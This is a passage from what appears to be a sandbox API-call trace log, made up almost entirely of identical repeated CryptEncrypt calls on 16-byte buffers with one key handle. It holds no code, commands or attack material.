pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.299] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.299] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.299] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.299] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.299] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.299] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.300] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.300] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.300] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.300] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.300] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.300] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.300] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.300] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.300] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.300] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.300] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.300] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.300] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.300] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.300] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.300] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.300] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.300] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.300] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.300] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.300] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.301] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.301] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.301] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.301] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.301] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.301] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.301] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.301] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.301] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.301] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.301] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.301] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.301] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.301] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.301] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.301] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.301] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.301] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.301] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.301] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.301] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.302] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.302] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.302] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.302] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.302] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.302] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.302] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.302] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.302] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.302] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.302] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.302] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.302] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.302] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.302] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.302] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.302] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.302] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.302] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.302] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.303] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.303] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.303] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.303] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.303] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.303] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.303] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.303] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.303] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.303] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.303] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.303] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.303] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.303] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.303] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.303] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.303] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.303] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.303] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.303] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.303] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.304] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.304] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.304] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.304] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.304] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.304] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.304] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.304] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.304] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.304] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.304] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.304] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.304] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.304] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.304] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.304] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.304] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.304] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.304] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, 